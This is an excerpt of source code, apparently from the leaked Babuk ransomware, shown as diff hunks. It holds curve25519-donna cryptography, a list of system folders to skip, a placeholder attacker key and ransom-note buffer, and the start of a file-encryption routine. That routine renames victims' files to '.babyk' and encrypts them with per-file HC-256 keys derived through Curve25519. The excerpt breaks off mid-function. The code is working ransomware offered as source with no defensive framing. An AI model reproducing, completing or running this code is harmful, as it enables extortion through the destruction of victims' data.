e[i] = 0;
|
||||
f[i] = 0;
|
||||
g[i] = 0;
|
||||
h[i] = 0;
|
||||
}
|
||||
|
||||
b[0] = 1;
|
||||
c[0] = 1;
|
||||
f[0] = 1;
|
||||
h[0] = 1;
|
||||
|
||||
unsigned i, j;
|
||||
|
||||
_memcpy(nqpqx, q, sizeof(limb) * 10);
|
||||
|
||||
for (i = 0; i < 32; ++i) {
|
||||
u8 byte = n[31 - i];
|
||||
for (j = 0; j < 8; ++j) {
|
||||
const limb bit = byte >> 7;
|
||||
|
||||
swap_conditional(nqx, nqpqx, bit);
|
||||
swap_conditional(nqz, nqpqz, bit);
|
||||
fmonty(nqx2, nqz2,
|
||||
nqpqx2, nqpqz2,
|
||||
nqx, nqz,
|
||||
nqpqx, nqpqz,
|
||||
q);
|
||||
swap_conditional(nqx2, nqpqx2, bit);
|
||||
swap_conditional(nqz2, nqpqz2, bit);
|
||||
|
||||
t = nqx;
|
||||
nqx = nqx2;
|
||||
nqx2 = t;
|
||||
t = nqz;
|
||||
nqz = nqz2;
|
||||
nqz2 = t;
|
||||
t = nqpqx;
|
||||
nqpqx = nqpqx2;
|
||||
nqpqx2 = t;
|
||||
t = nqpqz;
|
||||
nqpqz = nqpqz2;
|
||||
nqpqz2 = t;
|
||||
|
||||
byte <<= 1;
|
||||
}
|
||||
}
|
||||
|
||||
_memcpy(resultx, nqx, sizeof(limb) * 10);
|
||||
_memcpy(resultz, nqz, sizeof(limb) * 10);
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Shamelessly copied from djb's code
|
||||
// -----------------------------------------------------------------------------
|
||||
static void
|
||||
crecip(limb *out, const limb *z) {
|
||||
limb z2[10];
|
||||
limb z9[10];
|
||||
limb z11[10];
|
||||
limb z2_5_0[10];
|
||||
limb z2_10_0[10];
|
||||
limb z2_20_0[10];
|
||||
limb z2_50_0[10];
|
||||
limb z2_100_0[10];
|
||||
limb t0[10];
|
||||
limb t1[10];
|
||||
int i;
|
||||
|
||||
/* 2 */ fsquare(z2,z);
|
||||
/* 4 */ fsquare(t1,z2);
|
||||
/* 8 */ fsquare(t0,t1);
|
||||
/* 9 */ fmul(z9,t0,z);
|
||||
/* 11 */ fmul(z11,z9,z2);
|
||||
/* 22 */ fsquare(t0,z11);
|
||||
/* 2^5 - 2^0 = 31 */ fmul(z2_5_0,t0,z9);
|
||||
|
||||
/* 2^6 - 2^1 */ fsquare(t0,z2_5_0);
|
||||
/* 2^7 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^8 - 2^3 */ fsquare(t0,t1);
|
||||
/* 2^9 - 2^4 */ fsquare(t1,t0);
|
||||
/* 2^10 - 2^5 */ fsquare(t0,t1);
|
||||
/* 2^10 - 2^0 */ fmul(z2_10_0,t0,z2_5_0);
|
||||
|
||||
/* 2^11 - 2^1 */ fsquare(t0,z2_10_0);
|
||||
/* 2^12 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^20 - 2^10 */ for (i = 2;i < 10;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^20 - 2^0 */ fmul(z2_20_0,t1,z2_10_0);
|
||||
|
||||
/* 2^21 - 2^1 */ fsquare(t0,z2_20_0);
|
||||
/* 2^22 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^40 - 2^20 */ for (i = 2;i < 20;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^40 - 2^0 */ fmul(t0,t1,z2_20_0);
|
||||
|
||||
/* 2^41 - 2^1 */ fsquare(t1,t0);
|
||||
/* 2^42 - 2^2 */ fsquare(t0,t1);
|
||||
/* 2^50 - 2^10 */ for (i = 2;i < 10;i += 2) { fsquare(t1,t0); fsquare(t0,t1); }
|
||||
/* 2^50 - 2^0 */ fmul(z2_50_0,t0,z2_10_0);
|
||||
|
||||
/* 2^51 - 2^1 */ fsquare(t0,z2_50_0);
|
||||
/* 2^52 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^100 - 2^50 */ for (i = 2;i < 50;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^100 - 2^0 */ fmul(z2_100_0,t1,z2_50_0);
|
||||
|
||||
/* 2^101 - 2^1 */ fsquare(t1,z2_100_0);
|
||||
/* 2^102 - 2^2 */ fsquare(t0,t1);
|
||||
/* 2^200 - 2^100 */ for (i = 2;i < 100;i += 2) { fsquare(t1,t0); fsquare(t0,t1); }
|
||||
/* 2^200 - 2^0 */ fmul(t1,t0,z2_100_0);
|
||||
|
||||
/* 2^201 - 2^1 */ fsquare(t0,t1);
|
||||
/* 2^202 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^250 - 2^50 */ for (i = 2;i < 50;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^250 - 2^0 */ fmul(t0,t1,z2_50_0);
|
||||
|
||||
/* 2^251 - 2^1 */ fsquare(t1,t0);
|
||||
/* 2^252 - 2^2 */ fsquare(t0,t1);
|
||||
/* 2^253 - 2^3 */ fsquare(t1,t0);
|
||||
/* 2^254 - 2^4 */ fsquare(t0,t1);
|
||||
/* 2^255 - 2^5 */ fsquare(t1,t0);
|
||||
/* 2^255 - 21 */ fmul(out,t1,z11);
|
||||
}
|
||||
|
||||
int curve25519_donna(u8 *mypublic, const u8 *secret, const u8 *basepoint) {
|
||||
limb bp[10], x[10], z[11], zmone[10];
|
||||
uint8_t e[32];
|
||||
int i;
|
||||
|
||||
for (i = 0; i < 32; ++i) e[i] = secret[i];
|
||||
e[0] &= 248;
|
||||
e[31] &= 127;
|
||||
e[31] |= 64;
|
||||
|
||||
fexpand(bp, basepoint);
|
||||
cmult(x, z, e, bp);
|
||||
crecip(zmone, z);
|
||||
fmul(z, x, zmone);
|
||||
fcontract(mypublic, z);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
typedef uint8_t u8;
|
||||
typedef int32_t s32;
|
||||
typedef int64_t limb;
|
||||
|
||||
int curve25519_donna(u8* mypublic, const u8* secret, const u8* basepoint);
|
|
@ -0,0 +1,721 @@
|
|||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <restartManager.h>
|
||||
#include <wbemprov.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <icmpapi.h>
|
||||
#include <lm.h>
|
||||
|
||||
#include "hash/crc32.h"
|
||||
#include "hash/sha512.h"
|
||||
#include "eSTREAM/ecrypt-sync.h"
|
||||
#include "ecc/curve25519-donna.h"
|
||||
|
||||
#include "another.h"
|
||||
#include "memory.h"
|
||||
#include "queue.h"
|
||||
#include "debug.h"
|
||||
#include "args.h"
|
||||
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
#pragma comment(lib, "netapi32.lib")
|
||||
#pragma comment(lib, "wbemuuid.lib")
|
||||
#pragma comment(lib, "rstrtmgr.lib")
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
#pragma comment(lib, "mpr.lib")
|
||||
|
||||
#pragma comment(linker, "/ENTRY:entry")
|
||||
#pragma comment(linker, "/MERGE:.rdata=.text")
|
||||
|
||||
#define NOTE_FILE_NAME L"How To Restore Your Files.txt"
|
||||
|
||||
static const WCHAR* black[] = {
|
||||
0, L"AppData", L"Boot", L"Windows", L"Windows.old",
|
||||
L"Tor Browser", L"Internet Explorer", L"Google", L"Opera",
|
||||
L"Opera Software", L"Mozilla", L"Mozilla Firefox", L"$Recycle.Bin",
|
||||
L"ProgramData", L"All Users", L"autorun.inf", L"boot.ini", L"bootfont.bin",
|
||||
L"bootsect.bak", L"bootmgr", L"bootmgr.efi", L"bootmgfw.efi", L"desktop.ini",
|
||||
L"iconcache.db", L"ntldr", L"ntuser.dat", L"ntuser.dat.log", L"ntuser.ini", L"thumbs.db",
|
||||
L"Program Files", L"Program Files (x86)", L"#recycle", L"..", L"."
|
||||
};
|
||||
|
||||
static BYTE m_publ[32] = {
|
||||
'c', 'u', 'r', 'v', 'p', 'a', 't', 't', 'e', 'r',
|
||||
'n', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00
|
||||
};
|
||||
|
||||
static const CHAR ransom_note[] =
|
||||
"notepatternxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
|
||||
;
|
||||
|
||||
static QUEUE que_f;
|
||||
static QUEUE que_p;
|
||||
static BOOL debug_mode = 0;
|
||||
|
||||
static HCRYPTPROV hProv = 0;
|
||||
|
||||
#define VERSION_MUTEX "DoYouWantToHaveSexWithCuongDong"
|
||||
|
||||
#define CONST_BLOCK_PLUS 0x100000
|
||||
#define CONST_BLOCK_MINUS -CONST_BLOCK_PLUS
|
||||
|
||||
#define CONST_LARGE_FILE 0x1400000
|
||||
#define CONST_MEDIUM_FILE 0x500000
|
||||
|
||||
struct BABUK_KEYS {
|
||||
BYTE hc256_key[32];
|
||||
BYTE hc256_vec[32];
|
||||
};
|
||||
|
||||
struct BABUK_SESSION {
|
||||
BYTE curve25519_shared[32];
|
||||
BYTE curve25519_private[32];
|
||||
};
|
||||
|
||||
struct BABUK_FILEMETA {
|
||||
BYTE curve25519_pub[32];
|
||||
DWORD xcrc32_hash;
|
||||
LONGLONG flag1;
|
||||
LONGLONG flag2;
|
||||
LONGLONG flag3;
|
||||
LONGLONG flag4;
|
||||
};
|
||||
|
||||
void _encrypt_file(WCHAR* filePath) {
|
||||
const uint8_t basepoint[32] = { 9 };
|
||||
|
||||
BOOL tryToUnlock = TRUE;
|
||||
LARGE_INTEGER fileSize;
|
||||
LARGE_INTEGER fileOffset;
|
||||
LARGE_INTEGER fileChunks;
|
||||
|
||||
ECRYPT_ctx ctx;
|
||||
|
||||
BABUK_KEYS babuk_keys;
|
||||
BABUK_SESSION babuk_session;
|
||||
BABUK_FILEMETA babuk_meta;
|
||||
babuk_meta.flag1 = 0x6420676e756f6863;
|
||||
babuk_meta.flag2 = 0x6b6f6f6c20676e6f;
|
||||
babuk_meta.flag3 = 0x6820656b696c2073;
|
||||
babuk_meta.flag4 = 0x2121676f6420746f;
|
||||
|
||||
SetFileAttributesW(filePath, FILE_ATTRIBUTE_NORMAL);
|
||||
|
||||
if (WCHAR* newName = (WCHAR*)_halloc((lstrlenW(filePath) + 7) * sizeof(WCHAR))) {
|
||||
lstrcpyW(newName, filePath);
|
||||
lstrcatW(newName, L".babyk");
|
||||
|
||||
if (MoveFileExW(filePath, newName, MOVEFILE_WRITE_THROUGH | MOVEFILE_REPLACE_EXISTING) != 0) {
|
||||
retry:;
|
||||
HANDLE hFile = CreateFileW(newName, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0);
|
||||
_hfree(newName);
|
||||
|
||||
DWORD dwRead;
|
||||
DWORD dwWrite;
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
GetFileSizeEx(hFile, &fileSize);
|
||||
if (BYTE* ioBuffer = (BYTE*)_halloc(CONST_BLOCK_PLUS)) {
|
||||
CryptGenRandom(hProv, 32, babuk_session.curve25519_private);
|
||||
babuk_session.curve25519_private[0] &= 248;
|
||||
babuk_session.curve25519_private[31] &= 127;
|
||||
babuk_session.curve25519_private[31] |= 64;
|
||||
curve25519_donna(babuk_meta.curve25519_pub, babuk_session.curve25519_private, basepoint);
|
||||
curve25519_donna(babuk_session.curve25519_shared, babuk_session.curve25519_private, m_publ);
|
||||
|
||||
SHA512_Simple(babuk_session.curve25519_shared, 32, (BYTE*)&babuk_keys);
|
||||
ECRYPT_keysetup(&ctx, babuk_keys.hc256_key, 256, 256);
|
||||
ECRYPT_ivsetup(&ctx, babuk_keys.hc256_vec);
|
||||
|
||||
babuk_meta.xcrc32_hash = xcrc32((BYTE*)&babuk_keys, sizeof(BABUK_KEYS));
|
||||
_memset((BYTE*)&ctx.key[0], 0, 16 * sizeof(uint32_t));
|
||||
_memset((BYTE*)&babuk_keys, 0, sizeof(BABUK_KEYS));
|
||||
_memset((BYTE*)&babuk_session, 0, sizeof(BABUK_SESSION));
|
||||
|
||||
fileOffset.QuadPart = 0;
|
||||
SetFilePointerEx(hFile, fileOffset, 0, FILE_BEGIN);
|
||||
if (fileSize.QuadPart > CONST_LARGE_FILE) {
|
||||
fileChunks.QuadPart = fileSize.QuadPart / 0xA00000i64;
|
||||
